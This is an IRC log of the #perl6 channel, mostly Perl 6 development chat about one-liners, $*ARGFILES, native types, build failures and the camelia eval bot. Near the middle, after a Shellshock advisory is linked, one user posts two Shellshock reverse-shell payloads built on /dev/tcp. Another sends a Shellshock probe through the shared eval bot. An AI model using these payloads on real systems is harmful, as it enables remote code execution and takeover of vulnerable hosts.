there it is
Ven FROGGS: not on doc.p6.org
FROGGS ohh
Ven "documented in synopses" is meh :p
PerlJam first is there, but not first-index 14:24
leont Ah, there
Ven github.com/rakudo/rakudo/blob/aac7...ny.pm#L194
leont I had assumed the docs on d.p.o would be complete 14:25
Ven they're better than when I started a few monthes back :)
FROGGS the "Methods supplied by class List" at doc.perl6.org/type/Array is very very incomplete
PerlJam leont: The bottom of every page says "This is a work in progress to document Perl 6, and known to be incomplete." :-) 14:26
Ven FROGGS: not really. first and first-index are on Any :P
14:27 brrt left
FROGGS Ven: look at 2. at doc.perl6.org/type/List 14:27
I expect to see that under Array too
Ven And so am I. I'm kidding :-). I've just learned to look at src/core now 14:28
do we not have glob? ha! 14:29
dir('foo', test => none(/^'.'/)) <3 14:33
14:35 treehug88 joined
PerlJam m: lines>>.words.grep(/g/).say # nice and easy 14:39
Ven puts some ==> here and there.
camelia rakudo-moar 682e03: OUTPUT«ag maorga Agus ag Eireagal ghluais go ghleann gleanntáin ghlas’ beag Ag gur fharraige D’fhág ag ag gleanntáin ghlas’ bheag gnéill beagán ghaoil, go gan ghá úmhlaigh gach gach gach beag agus go gan gan ghruaim ghleanntáin ghlas’␤»
PerlJam m: lines>>.words.grep(!/g/).say # not so much
camelia rakudo-moar 682e03: OUTPUT«Cannot call 'match'; none of these signatures match:␤:(Cool:D: Any $target, *%adverbs)␤ in method Bool at src/gen/m-CORE.setting:14111␤ in sub prefix:<!> at src/gen/m-CORE.setting:4225␤ in block <unit> at /tmp/jihdYjttxl:1␤␤»
Ven PerlJam: mind if I steal it? 14:42
PerlJam Ven: not at all. 14:43
(wondering why you'd even ask actually :)
Ven I guess I'll go to rosettacode to collect some of those :)
still, I want a breadcrumb
.o( with some bread crumbs sprinkled on top ) 14:44
PerlJam does anyone know a less cumbersome way to say ... 14:45
m: lines>>.words.grep({ $_ !~~ /g/ }).say
camelia rakudo-moar 682e03: OUTPUT«Céad slán sléibhte Chontae Dhún na nGall dhá chéad slán an ard ina stua os cionn caor is coll; Nuair a mise thart le Loch Dhún Lúich’ ciúin sa ina luí I mo dhiaidh bhí Ghaoth Dobhair, is nár bhris mo chroí. taisteal dom amach trí chnoic Gh…»
PerlJam ??
Ven do we have a module that gives us image info? EXIF, width/height, etc
flussence m: lines>>.words.grep(!/g/).say 14:46
camelia rakudo-moar 682e03: OUTPUT«Cannot call 'match'; none of these signatures match:␤:(Cool:D: Any $target, *%adverbs)␤ in method Bool at src/gen/m-CORE.setting:14111␤ in sub prefix:<!> at src/gen/m-CORE.setting:4225␤ in block <unit> at /tmp/3m_oFymXmG:1␤␤»
flussence bah
Ven PerlJam: grep-not :P
PerlJam flussence: exactly!
flussence I could've sworn !/.../ DWIMed somewhere
Ven m: lines>>.words.grep(none(/g/)).say 14:47
camelia rakudo-moar 682e03: OUTPUT«Céad slán sléibhte Chontae Dhún na nGall dhá chéad slán an ard ina stua os cionn caor is coll; Nuair a mise thart le Loch Dhún Lúich’ ciúin sa ina luí I mo dhiaidh bhí Ghaoth Dobhair, is nár bhris mo chroí. taisteal dom amach trí chnoic Gh…»
Ven cheats
PerlJam flussence: if .grep(!/.../) doesn't DWIM, it's going to trip up all the P5 programmers that want to use P6 I think 14:48
lizmat PerlJam / Ven: I was hoping to make words() as magical as lines(), but it didn't work out so far 14:49
I *did* spec it now :-)
Ven as magical? you mean, I can call it on an array?
PerlJam lizmat++ (I've often wishes words were that magical) 14:50
er, wished
lizmat Ven: no, that it takes $*ARGFILES / $*IN automagically
Ven I'm not sure I like the $*ARGFILES... Probably because I don't know what it does 14:51
that, er, basically means if I call `./script.p6 filename-here`, it'll open the filename for me and read its content, and feed it to slurp and other by default? 14:53
or, hm, lines?
PerlJam words :)
Ven or words. 14:54
that means p6 tries to do a "stat" on all of my arguments to decide whether they belong to @*ARGS or $*ARGFILES?
14:55 tinyblak joined
lizmat S02:2752 14:55
synopsebot Link: perlcabal.org/syn/S02.html#line_2752
lizmat also: 14:56
-n run program once for each line of input
-p same as -n, but also print $_ at the end of lines
PerlJam P6 has some concision. Here's a one-liner I just wrote: lines.grep({$_ !~~ /^[\s|"=>"]/})>>.substr(0,8).sort.uniq>>.say
pmurias Ven: isn't $*ARGFILES the ARGV file handle from perl5? 14:57
Ven pmurias: what's the ARGV file handle from perl5?
14:57 dakkar left
pmurias looks up a good explanation 14:57
lizmat I'm still not sure, I was trying to grok how lines() does its magic, but failed so far
Ven doesn't p5
leont Ven: the default one, in <> 14:58
Ven leont: <> is a handle on STDIN, isn't it?
m: sub a { say $:foo }; a(foo => 1); # :o)
camelia rakudo-moar 682e03: OUTPUT«1␤»
leont Only if @ARG is empty
@ARGV
It's very specially magical 14:59
PerlJam Ven: In P5, <> is the "read a record" operator from the filehandle inside. When there's no filehandle inside, it automagically reads from files given on the command line or STDIN if no files given
flussence perldoc says that <> basically does @ARGV //= ('-') and then works off that
Ven leont: it does seem a tad too magical for me :P
PerlJam Ven: not "too magical", but rather "just magical enough" I use it all the time in P5 15:00
I used it all the time in P4 too.
leont PerlJam: it's too magical once you realize it uses 2 arg open… 15:01
Ven but how is it decided whether an argument should be in @*ARGS or in $*ARGFILES?
nine Ven: p5 for sure has some image/EXIF module for you
Ven nine: right, nice one ;-).
pmurias the argument is always in @*ARGS
PerlJam leont: no, I *like* 2 arg open magic for one-liners and such :)
Ven pmurias: oh, I see
pmurias and $*ARGFILES allows you easily write scripts that either function like 'bar | perl foo.pl' or 'perl foo.pl file1 file2' 15:02
s/you/you to/
PerlJam Ven: $*ARGFILES is just a magic filehandle that knows to pull filenames from @*ARGS 15:04
15:05 kaleem left, tinyblak left
pmurias is always suprised when learns that some Perl 6 guy doesn't come from p5, but maybe it's more common then he thinks 15:09
PerlJam Is input-line-separator NYI? Some of the oneliners I'm playing with could use it. 15:10
lizmat input-line-seperator is NYI and about to be despecced 15:11
PerlJam ah.
lizmat what is it you want to do from the command line ?
PerlJam I guess I don't *need* it, but it's how my p5 brain thinks of things. I want to do something like p5 'BEGIN { $/ = "=>end"; } while (<>) { ... }' but in p6 15:12
lizmat so the string "=>end" is the marker between lines, right ? 15:14
PerlJam yep
lizmat the spec for lines now reads: 15:15
=item :nl
The delimiter between what are to be considered lines. By default assumes
C<"EOL">, which indicates any combination of C<"\n">, C<"\r\n">, C<"\r"> or
any other Unicode that has the C<ZI> (Seperator, Line) property.
Ven pmurias: I come from nothing :P.
And let me tell you, I've showed (off) perl 6 to a lot of people, and none of them were 5ers.
lizmat only the default is implemented currently
PerlJam: not sure how that would connect to the commandline though 15:16
Ven (I actually comme from JS-land, kinda, but saying so makes people like Madding mad)
PerlJam maybe I'll figure that out when I'm in a mood to hack on P6 rather than hack with P6 :) 15:17
Ven notices the "sub marine" joke in s02 and chuckles
lizmat PerlJam: perhaps we need a $*EOL
PerlJam if lines(:nl("=>end")) worked, that would be nice. 15:18
15:18 nbrown joined
Ven pmurias: fwiw, I started my learnxiny so that non-5ers could be 6ers 15:20
15:20 ajr_ left 15:21 guru joined, guru left
lizmat PerlJam: yes that would work 15:22
15:22 guru joined, guru left
lizmat it would be slower, but it would work :-) 15:22
15:23 tinyblak joined
jnthn Line sep is one of those things it's preferable to push down to the VM, I think. 15:23
15:23 guru joined, nbrown left 15:24 guru is now known as Guest37934
jnthn Since it's already scanning its way decoding a bunch of bytes into chars as needed. 15:24
15:24 colomon left 15:25 Guest37934 is now known as ajr_
PerlJam I'm processing large data files "by hand" with various p6 one-liners. It would be preferable if it were fast, but slower is fine if it's not "too slow" :) 15:25
jnthn And already knows something about looking for a stopper
In Moar I was lazy and just made it seek a single grapheme :)
(With intent of implemeniting something more complete later.)
Since that is enough to hunt the \n :) 15:26
PerlJam and btw, I wouldn't even be doing this with P6 if it weren't already "fast enough" (last year's rakudo was "too slow") 15:27
jnthn :) 15:29
Phew, the performance work so far was worth it :)
lizmat yup
I only wish we could get that extra 0.05 off of bare startup time (0.2 -> 0.15)
by making @*INC lazy
jnthn Yeah 15:30
That could do with some debugging time from me, I guess?
jnthn wonders how many times over he's assigned his post-China Perl 6 days with tasks :)
lizmat yeah,
you need to cherry pick 1 commit
jnthn *nod*
lizmat then run the t/spec/S22-package-format/local.t 15:31
test, it will fail with the message when trying to precomp a file with "use Test" in it 15:32
jnthn OK. So I've that, and the natives work, and a bunch of async bug hunting, and giving the thread scheduler some brain surgery, and no doubt more :)
lizmat hehe,, yeah, no pressure
Ven also, some fun
15:32 jerrycheung left
jnthn :P 15:32
lizmat meanwhile I'm getting through S32/io
chewy stuff 15:33
jnthn At least I've got vacation coming up at the latter end of October. :)
chewy? :)
15:33 treehug88 left, Ven left, oetiker left
lizmat needing to be chewed hard or for some time before being swallowed. 15:33
it gets *very* dry after a while 15:34
15:34 ghostlines left
jnthn So add more liquid? ;) 15:35
lizmat has been drinking liters of tea this week 15:36
still chewy :-(
15:37 SamuraiJack left 15:39 spider-mario joined, tinyblak_ joined 15:40 bartolin left 15:41 tinyblak left 15:42 SamuraiJack joined 15:43 bjz left 15:44 darutoko joined, oetiker joined 15:45 denis_boyun_ left, bjz joined 15:47 darutoko- left 15:48 zakharyas joined 15:49 tinyblak_ left 15:56 Sqirrel left 15:57 oetiker left, oetiker joined 15:58 oetiker left, oetiker joined
dalek ecs: 5b8d701 | (Elizabeth Mattijsen)++ | S16-io.pod:
Minor tweaks, had forgotten .spurt
15:58
ecs: 6ea0174 | (Elizabeth Mattijsen)++ | S32-setting-library/IO.pod:
Part 4 of S32/IO revamp

Finished with IO::Handle now. Leaving the rest of the dragons for a later time. My head hurts.
lizmat Hopes people will have time to review S32/IO ^^^^ 15:59
(and S16, but that is more general)
dalek kudo/nom: ecf1acd | jonathan++ | src/Perl6/ (2 files):
Fix class GLOBAL::Foo { } declarations.

They actually install Foo in GLOBAL now.
16:00
jnthn nine: ^^
pmurias jnthn: do we use the vtable part of STable on moarvm? 16:03
16:05 tinyblak joined
nine jnthn: many thanks! will try that this evening 16:06
jnthn pmurias: No; I thought I removed it, even...
pmurias: It was an idea that, in the end, was supplanted by spesh
And invokedynamic on JVM
pmurias isn't it parrot legacy? 16:07
jnthn And no doubt JS does equally neat optimization stuff :)
No
16:07 skids joined
jnthn The idea was to compile some method calls into vtable indexed calls. 16:07
Rather than named lookups
It turned out better to leave that to dynmaic optimization rather than static optimizaiton.
lizmat m: sub a { my int $ = 42 }; say a; say a.WHAT # jnthn, is there a point to adding an nqp::box_i($,Int) ???
camelia rakudo-moar 682e03: OUTPUT«42␤(Int)␤» 16:08
lizmat I mean, it seems to autobox
pmurias it turns out I was using an old MoarVM
jnthn .WHAT is an operation on an object
pmurias s/using/reading the source of/ 16:09
jnthn So you're never going to get a non-boxed type out of it
lizmat ah, you're saying the sub really returned an int ?
jnthn Probably
16:09 tinyblak left
jnthn m: my int $a = 42; say $a.WHAT # simpler example 16:09
camelia rakudo-moar 682e03: OUTPUT«(Int)␤»
pmurias jnthn: the method cache level of abstraction 6model uses is the perfect fit for JS 16:10
16:10 yeahnoob left
jnthn pmurias: That was my guess too 16:10
16:11 telex left
lizmat m: my int $a; my Int $b = 42; $a = $b; say $a # auto converts from Int -> int 16:11
jnthn pmurias: And wiht Moar doing spesh, and JVM offering invokedynamic, it seemed pointless not to leave it to dynamic opt
lizmat so why would one do a nqp::box_i at the end of sub that works with native ints ?
jnthn lizmat: Yes, it auto-unboxes there
camelia rakudo-moar 682e03: OUTPUT«(timeout)»
lizmat m: my int $a; my Int $b = 42; $a = $b; say $a # timeout ???
camelia rakudo-moar 682e03: OUTPUT«42␤» 16:12
lizmat m: say 42
camelia rakudo-moar 682e03: OUTPUT«42␤»
jnthn Prints 42 here at REPL
japhb System overloaded?
lizmat yup
jnthn Ah, was just slow camelia
lizmat I guess it was a slow camel a
jnthn I guess that was an autocorrect :P
16:12 telex joined
lizmat no, typo intended :-) 16:12
japhb Seriously folks, what kind of hardware would it take to do all the background tasks we like to do on our shared server, and keep camelia responsive the whole time? 16:13
jnthn lizmat: Where is the boxing operation you're talking about?
lizmat: The compiler inserts box/unbox operations for us, generally
lizmat lines :count: nqp::box_i($lines, Int); 16:14
ok, so it's not needed there
jnthn lizmat: Oh...
lizmat: One note though
16:14 rindolf left
jnthn lizmat: Code-gen on Parrot is...uh...not always as smart as that on JVM/Moar 16:14
dalek line-Perl5: 1d3d369 | nine++ | / (2 files):
Unwrap P5 coderefs when passing them back to P5.
jnthn lizmat: And I'm pretty sure it screwed up the odd box/unbox thing. I forget the details, sorry... 16:15
lizmat ok, and the compiler is smart enough to not do it twice
jnthn Yes :)
lizmat so it doesn't hur
t ok
jnthn At the code-gen level, we're very aware of if we have natives or objects and about propagating that kind of info
Won't hurt
lizmat ok, then I'll leave it in :-) 16:16
jnthn One common natives mistake, though, is to use native types and then pass stuff to places expecting boxed types
Causing it to be boxed each time
lizmat yeah, I understand
jnthn Thankfully, the allocation profiler is rather good at highlighting such transgressions.
lizmat but all nqp:: functions work with unboxed, no? 16:17
jnthn Depends which "all" you mean... :)
nqp::add_i does work on native int for example
lizmat nqp::findcclass e.g.
jnthn That one works on natives, yes. 16:18
lizmat is there a way to find out if it expects boxed or not>
jnthn If you pass boxed things, it'll just code-gen unboxes for you.
lizmat ?
jnthn um...hmm
lizmat github.com/perl6/nqp/blob/master/d...s.markdown should be authoritative ?
jnthn Well, aside from nqp::op docs... :)
Right, that's the Good Way 16:19
lizmat okidoki
jnthn As for finding out, the JVM QAST compiler is the most explicit read
16:19 nbrown joined
jnthn As in, you can see the RT_INT/RT_STR/RT_NUM/RT_OBJ right there with the op registration. 16:19
16:20 rurban joined
lizmat feels the hair in the back of her neck stand up 16:20
I really don't like Java :-)
16:24 nbrown left
lizmat seclists.org/oss-sec/2014/q3/649 # seems we have a live exploit for CGI scripts / PSGI potentially / allowing remote code execution :-( 16:25
jnthn Ouch :-( 16:27
16:27 ajr_ left
jnthn I've dealt with some amount of Java (amongst other langauges) while here in China. And while I find the language very hard to be elegant in compared to others, the API design culture - both an obsession with design patterns, and a lack of focus on making the easy things easy - was far more bothersome to me. 16:28
16:29 treehug88 joined
mberends japhb: I think a shared Camelia server needs about 2GB free memory plus the size of all processes, to accommodate automated rebuilds in the background without much performance impact. Other generic hardware seldom causes delays, speed problems usually relate to lack of memory. I guess a 4GB host would work fine. 16:32
lizmat jnthn: I get breakage on your last patch 16:33
jnthn Huh?
lizmat when creating restricted setting
no, actually during parsing 16:34
Stage start : 0.000
Stage parse : moar(7787,0x7fff7bee7310) malloc: *** error for object 0x7fccfc385040: pointer being freed was not allocated
*** set a breakpoint in malloc_error_break to debug
make: *** [CORE.setting.moarvm] Abort trap: 6
jnthn Odd
Oh
I...highly doubht that's specific to the patch :/
lizmat i move one commit back, and it builds ok
*moved
jnthn Sure, that doesn't change what I said.
Here it built fine and specested... 16:35
lizmat ah, ok
jnthn I suspect it's tripped a heisenbug :(
lizmat I'll nuke install and start from scratch
jnthn Thus why you see it and I don't :(
Sure...if it's really in your way then shuffle it off to a branch so nine can still get at it...and we can try and get ASAN on it... 16:36
16:36 rurban left, rurban joined
lizmat first see if it's still there on a clean install 16:36
jnthn *nod*
jnthn needs to sleep now
'night
lizmat good night, jnthn!
nine I just successfully built rakudo HEAD including the patch 16:37
lizmat on what OS ?
nine openSUSE 13.1
lizmat so not OS X 16:38
lizmat feels like the OS X canary
16:38 Mso150 joined
lizmat same problem on a clean install :-( 16:39
16:49 yeltzooo left 16:52 pecastro left
nine m: class Foo { method hello { say "hello" } }; my $foo = "Foo"; say $foo.new.hello; 16:54
camelia rakudo-moar ecf1ac: OUTPUT«No such method 'hello' for invocant of type 'Str'␤ in block <unit> at /tmp/_OPxYYue3K:1␤␤» 16:55
japhb mberends: Well, I'm thinking simultaneous rebuilds of all rakudos, plus spectesting, plus local logins (irssi, administration, etc.), plus camelia in all flavors in parallel. I can't imagine 4 GB would really cut it. I was thinking more in the range of 2-4x that number.
lizmat m: my $a = "Str"; say ::($a).WHAT # nine
camelia rakudo-moar ecf1ac: OUTPUT«(Str)␤»
lizmat m: my $a = "Int"; say ::($a).WHAT $ better 16:56
camelia rakudo-moar ecf1ac: OUTPUT«===SORRY!=== Error while compiling /tmp/YBkmqLldhE␤Two terms in a row␤at /tmp/YBkmqLldhE:1␤------> my $a = "Int"; say ::($a).WHAT ⏏$ better␤ expecting any of:␤ method arguments␤ postfix…»
lizmat m: my $a = "Int"; say ::($a).WHAT # better
camelia rakudo-moar ecf1ac: OUTPUT«(Int)␤»
nine lizmat: thanks!
That's a bit more complicated than I'm used to :)
lizmat yeah, but then P5 only has undef 16:57
16:57 kaleem joined
dalek kudo/nom: 5d8eebf | (Elizabeth Mattijsen)++ | src/Perl6/World.nqp:
Naive fix for build crash on OS X

Apparently during the building of the setting, @!components[0] can be something on which you cannot do an "eq" reliably.
16:59
lizmat .tell jnthn this fixes the build breakage for me: github.com/rakudo/rakudo/commit/5d8eebfdc7 17:00
yoleaux lizmat: I'll pass your message to jnthn.
mberends japhb: agreed, particularly if simultaneous parallel rebuilds. If a server is initially overspecced, it could do optional work like smoke testing, benchmarking etc. 17:02
17:02 pmqs1 left
mberends japhb: if it's the hosting provider I think you might be considering, I wonder if we could experiment with packaging a service such as evalbot in a Docker container? 17:06
17:06 yeltzooo joined 17:13 zakharyas left 17:17 virtualsue left 17:18 brrt joined 17:20 nbrown joined 17:24 nbrown left 17:26 grondilu joined
grondilu Stage parse : 527.959 17:26
17:27 kaleem left
dalek line-Perl5/v6: 5d014db | nine++ | t/inherit.t:
Update skip count in t/inherit.t to match the plan

Thanks to colomon++ for debugging this!
17:30
line-Perl5/v6: 1d3d369 | nine++ | / (2 files):
Unwrap P5 coderefs when passing them back to P5.
line-Perl5/v6: 9055c7c | nine++ | / (3 files):
Merge branch 'master' into v6
line-Perl5/v6: 0c91def | nine++ | / (3 files):
Fix instancing classes created by v6-inline;

Needs current Rakudo HEAD. Thanks to jnthn++ for implementing GLOBAL::
17:32 mberends left
moritz \o 17:32
back from ~9 days without internet
nine Welcome back! 17:33
vendethiel hello there, moritz :-) 17:35
17:37 spider-mario left, spider-mario joined
[Coke] back from the very depths of hell! NO INTERNET!? 17:37
17:39 brrt left
moritz [Coke]: I just didnn't bring any laptop or smartphone along 17:44
FROGGS hi moritz!
BooK leont, lizmat: the t-shirt www.perlmonks.org/?node_id=100807
[Coke] welcome back, you brave man. :)
moritz and just ~30 new non-spam, non-mailing-list private emails 17:45
BooK the perl/postscript www.perlmonks.org/?node_id=41310
ingy hi all
I was just reading p6 docs for morning enlightenment 17:46
I came across: The README.md file is a markdown-formatted text file, which will later be automatically rendered as html by github.
is this still common?
github renders README.pod
vendethiel github renders .pod, .md and .rst, I think 17:47
ingy and pod is a lot more expressive
though terrible to write… 17:48
but Swim fixes that
anyway, who cares… 17:49
[Coke] I think if we had our druthers, we'd use sixpod. 17:50
but md is easy. meh
17:56 pmurias left
moritz planteria still isn't back up :( 18:04
[Coke] nor is our admin responding to my latest emails. 18:06
itz pl6anet.org/ 18:07
moritz itz: please steal some stylesheet from a *.perl6.org website :-) 18:12
[Coke] Pinged him on 8/28, he responded on 8/29 that he was contacting support; I pinged again on 9/7
moritz itz: and add a contact email address somewhere 18:13
itz moritz: OK
18:14 tinyblak joined 18:16 rindolf joined 18:17 fhelmberger left
moritz [Coke]: also if the domain is the problem, those folks could have run the site under a different domain or a subdomain for a while 18:19
18:19 bartolin joined 18:21 nbrown joined 18:23 tinyblak left 18:24 guru joined, guru is now known as ajr_, molaf_ joined 18:25 nbrown left
moritz it's good that, before going on vacations, I didn't consider the security implications of not upgrading a linux system for a bit over a week 18:26
itz export FOO='() { :;}; exec 5<>/dev/tcp/localhost/7070 ; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done' 18:27
18:27 molaf left
itz bash -c "echo foo" 18:28
dalek p: 0dccc88 | (Tobias Leich)++ | src/vm/jvm/ (2 files):
implement nqp::nativecallglobal on jvm
18:30 Ven joined
Ven Do we have something akin to haskell's `newtype`? It's basically a "type alias" in haskell, but there's no implicit conversion between those 18:31
Akin to a holder class with only one value and a BUILD method that takes a positional argument (plus destructuring, I guess) 18:32
18:32 gfldex joined
grondilu does Perl 6 need planetaria? Couldn't all announcements be made on reddit? 18:33
kurahaupo_ itz: that "cat" is not only useless, the buffering it causes is actively harmful. just use read <&5 18:34
itz kurahaupo_: yes I now have
export FOO='() { :;}; exec 5<>/dev/tcp/localhost/7070 ; /usr/local/bin/bash <&5 >&5
PerlJam kurahaupo_: are you saying that itz wins the Useless Use of Cat award for today? :) 18:35
itz which probably can be improved of
Ven m: @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names
camelia, wherefore art thou?
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 18:36
itz PerlJam: you are Randall and I claim my $5
PerlJam heh!
18:38 SamuraiJack_ joined 18:40 SamuraiJack left
[Coke] grondilu: the advantage of a planet-style aggregator is that you don't need to repost things. 18:43
grondilu ok
[Coke] not sure if reddit supplies such a thing.
FROGGS star-m: use NativeCall; sub errno is native { ... }; errno() 18:44
grondilu though the point of reddit is that the community does the reposts for you.
camelia star-m 2014.08: OUTPUT«(timeout)»
18:46 Ven left 18:47 darutoko left
FROGGS does somebody know why this happens? github.com/coke/rakudo-star-daily/...les.log#L3 18:47
18:48 rindolf left, colomon joined 18:50 rindolf joined 18:51 Ven joined, pecastro joined
Ven m: @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names 18:51
camelia rakudo-moar 5d8eeb: OUTPUT«===SORRY!=== Error while compiling /tmp/01FAD4HNrD␤Variable '@names' is not declared␤at /tmp/01FAD4HNrD:1␤------> @names⏏ = (-> $name, $num { "$name.$num" } for ␤ expecting any of:␤ postfix␤»
Ven m: my @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names
camelia rakudo-moar 5d8eeb: OUTPUT«a.1 a.2 a.3 a.4 a.5 b.1 b.2 b.3 b.4 b.5 c.1 c.2 c.3 c.4 c.5 d.1 d.2 d.3 d.4 d.5 e.1 e.2 e.3 e.4 e.5 f.1 f.2 f.3 f.4 f.5 g.1 g.2 g.3 g.4 g.5 h.1 h.2 h.3 h.4 h.5 i.1 i.2 i.3 i.4 i.5 j.1 j.2 j.3 j.4 j.5 k.1 k.2 k.3 k.4 k.5 l.1 l.2 l.3 l.4 l.5 m.1 m.2 m.3 m.4 …» 18:52
Ven okay, so it works. Nice to know
m: -> $a { $a.say } if "foo" # probably the same... 18:53
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 18:54
Ven m: -> $a { $a.say } if "foo" # probably the same...
camelia ( no output )
Ven uh-oh.
okay, so that one's a closure...
nine How can I find out which traits a method has? 18:55
FROGGS nine: I don't think you can 18:58
lizmat nine: traits are just a piece of code that run at compile time doing something to the object to be 19:00
there is no central registry of trait, at least afaik 19:01
nine Is there another way to add meta information to methods comparable to Perl 5 subroutine attributes? 19:02
FROGGS okay... NativeCall@jvm started to fail between 8th of August and 12th 19:03
lizmat write your own trait ?
the other day, leont wanted some method trait 19:04
so it would create the opposite of the given method in the class
19:04 Mso150 left 19:05 Mso150 joined 19:07 _slade_ joined 19:09 mberends joined 19:12 vladtz joined 19:13 erkan left, Mso150 left 19:14 Mso150 joined, [Sno] left 19:15 erkan joined, erkan left, erkan joined 19:22 nbrown joined 19:26 nbrown left 19:27 tinyblak joined 19:29 _slade_ left, Slade joined 19:34 kurahaupo joined
moritz m: $*ENV<x> = q[() { :;}; echo vulnerable]; say $*DISTRO.name 19:34
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 19:35
lizmat alas, camelia is busy :-(
vendethiel she is. 19:36
nine Sometimes I don't know what scares me more. What I'm trying to do, that I'm trying it at all or that I'm actually succeeding. I just know that I'm scared ;) 19:37
moritz nine: that's the important part :-) 19:38
FROGGS magic seems to get less exciting, ehh? 19:39
(because we can do it too)
moritz m: 1
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 19:40
FROGGS p: 1
camelia rakudo-parrot 5d8eeb: OUTPUT«(timeout)»
nine I just noticed that it's only two weeks to the Austrian Perl Workshop! 19:42
FROGGS wich is good *and* bad 19:44
itz ! 19:45
19:45 Psyche^_ joined
FROGGS I'd like to get more things done until then, but... again I bisect a perl6-* that is not our beloved fast perl6-m 19:46
19:48 camelia left, camelia joined
moritz m: 1 19:48
nine I'd love to gather some more wow till then as well. But I think what I did today will suffice :) 19:49
moritz yes, the first time is always slow
19:49 Psyche^ left, ChanServ sets mode: +v camelia
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 19:49
moritz m: say 42
camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)» 19:50
moritz :(
p: say 42
camelia rakudo-parrot 5d8eeb: OUTPUT«(timeout)» 19:51
19:51 brrt joined
moritz this makes me very unhappy :( 19:52
FROGGS :/
moritz [Coke]: you seem to have a few hanging java processes on host08 19:58
[Coke]: also, I'd like to reboot the server eventually; will that make you very unhappy?
[Coke] one sec.
moritz [Coke]: no hurry 19:59
19:59 Ven left
[Coke] I was just in, and it froze. 19:59
trying to find outif those java processes are from today's run.
I can't login. do what you gotta.
ack, I just got in. :) 20:00
noooo!
20:00 camelia left
moritz too late. 20:00
[Coke] ah well. :)
moritz t/spec/S17-procasync/print.rakudo.moar passes 3 TODO tests for me (with nqp and moar master) 20:02
can anybody confirm that? then I'll unfudge
lizmat it's a flapper 20:03
moritz :(
lizmat I mean, it passes consistently?
in the spectest ?
moritz I ran it twice, once in the spectest, once in isolation 20:04
so, dunno yet
lizmat lemme try master/master also 20:05
20:07 SamuraiJack_ left 20:09 SamuraiJack joined, Slade left 20:10 Slade joined, xragnar_ joined, xragnar left, xragnar_ is now known as xragnar
dalek ast: ec66229 | usev6++ | S03-sequence/misc.t:
fixed and unfuged test for 'chained infinite numeric sequence (with 'infix:<...>')'

After adding this and after s#1/4 1/2#0.25 0.5# in the expected output the test passes. Both changes are in analogy to the test directly above 'chained infinite numeric sequence'
If I should better leave the test as it was and open a ticket first, please let me know.
20:13
ast: cb45ede | usev6++ | S03-operators/subscript-adverbs.t:
added tests for RT #120739

Please let me know if it should go somewhere else.
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=120739
ast: 2e8d582 | usev6++ | S03-sequence/misc.t:
added tests for RT #116348
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=116348
ast: c7679fa | usev6++ | S03-sequence/misc.t:
merged two tests for RT #116348
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=116348
dalek ast: 7f16f13 | (Christian Bartolomäus)++ | S03- (2 files):
Merge pull request #47 from usev6/master

fixed and unfuged test for chained infinite numeric sequence added tests for RT #120739 and RT #116348
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=120739
20:16 colomon left
[Coke] bartolin++ 20:18
lizmat moritz: alas, no TODO's passed on master/master :-( 20:20
20:22 nbrown joined 20:23 Mso150 left 20:26 nbrown left 20:27 timotimo joined 20:31 kaare_ left 20:35 colomon joined 20:37 [Sno] joined 20:39 vendethiel left, cognome joined
moritz ah well. 20:39
20:41 vendethiel joined
grondilu would like UInt for some reason. He notices there is UInt64 defined in the core for Rat purposes, and wonders if UInt could not be sneaked in there. 20:46
20:46 colomon left
grondilu
.oO( subset UInt of Int where * >= 0; subset UInt64 of UInt where * < 2**64; )
20:47
20:47 colomon joined 20:48 cognome left, cognome joined
japhb mberends: Yes, re: Docker containers, that's an excellent idea. 20:52
20:53 cognome left 20:55 araujo joined
mberends japhb: :-) 20:55
20:56 tinyblak left 21:03 SamuraiJack left, SamuraiJack joined 21:05 spider-mario left 21:06 pecastro left 21:12 colomon left
grondilu m: say "hi" 21:16
21:16 skids left
grondilu is trying to get the positions of '1' in the binary expression of an integer 21:17
grondilu tried 5.base(2).comb.kv.hash.grep(+*.value.Int).keys;
21:18 molaf_ left
grondilu succeeded with 5.base(2).comb.kv.hash.grep(+*.value.Int)».keys; 21:20
21:20 brrt left 21:23 nbrown joined 21:28 nbrown left, gfldex left, tinyblak joined 21:30 virtualsue joined 21:31 bjz_ joined, Ven joined, bjz left, pmurias joined
pmurias Ven: what should the methods on the 'newtyped' class do? 21:32
you could have something like 'class Wrapper {has $.wraped handles *}' 21:33
21:35 tinyblak left
vendethiel pmurias: yeah, that seems perfect. 21:35
but it actually breaks what the class is useful for: encapsulation 21:36
I *don't* want a Gram and a Liter to be +-able
21:36 telex left
lizmat good night, #perl6! 21:36
vendethiel (well, one on the other one probably could be)
21:37 colomon joined, Ven left, pmqs left 21:38 ajr_ left, telex joined, SamuraiJack left 21:45 colomon left
grondilu class A {...}; class B is A {...}; class A { has B @.bees; method gist { "some A" } }; cla 21:46
ss B { method bees { self } }; say B.new;
class A {...}; class B is A {...}; class A { has B @.bees; method gist { "some A" } }; class B { method bees { self } }; say B.new.perl; # should this hang? 21:47
21:48 gtodd left 21:49 gtodd joined 21:50 Slade left
grondilu basically I want to create a superclass and a subclass, such that the superclass contains instances of the subclass, and the contained elements for the subclass identify to themselves. 21:50
21:50 colomon joined
itz books Austrian flights at the last minute and pays dearly for his lack of foresight :\ 21:54
grondilu oh I can make it hang with just one class: 21:58
class Foo { has @.foos; method foos { self } }; say Foo.new.perl
infinite recursive loop 21:59
21:59 bartolin left
grondilu should I consider this an acceptable behavior or a bug? 21:59
pmurias vendethiel: you can do a partial handles 22:00
22:03 pecastro joined 22:04 virtualsue left, eternaleye left 22:11 rindolf left 22:13 eternaleye joined 22:21 virtualsue joined
dalek ast: 55c1fc2 | (David Warring [email@hidden.address] | integration/99problems-41-to-50.t:
[integration/99-problems] added P47 Truth tables for logical expressions (2).
22:22
